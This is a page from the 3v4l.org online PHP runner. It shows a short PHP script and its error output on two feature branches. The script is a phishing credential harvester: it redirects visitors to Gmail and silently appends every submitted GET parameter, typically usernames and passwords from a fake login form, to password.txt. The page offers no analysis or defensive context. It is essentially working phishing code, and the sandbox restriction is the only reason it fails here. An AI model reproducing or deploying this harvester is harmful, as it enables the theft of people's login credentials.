3v4l.org

run code in 300+ PHP versions simultaneously
<?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit;?>
Output for git.master, git.master_jit
Warning: fopen(): open_basedir restriction in effect. File(password.txt) is not within the allowed path(s): (/tmp:/in:/etc) in /in/hPaNQ on line 2 Warning: fopen(password.txt): Failed to open stream: Operation not permitted in /in/hPaNQ on line 2 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /in/hPaNQ:9 Stack trace: #0 /in/hPaNQ(9): fwrite(false, '===============...') #1 {main} thrown in /in/hPaNQ on line 9
Process exited with code 255.
Output for rfc.property-hooks
Warning: fopen(): open_basedir restriction in effect. File(password.txt) is not within the allowed path(s): (/tmp:/in:/etc) in /in/hPaNQ on line 2 Warning: fopen(password.txt): Failed to open stream: Operation not permitted in /in/hPaNQ on line 2 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, false given in /in/hPaNQ:9 Stack trace: #0 /in/hPaNQ(9): fwrite(false, '===============...') #1 {main} thrown in /in/hPaNQ on line 9
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
34.05 ms | 401 KiB | 8 Q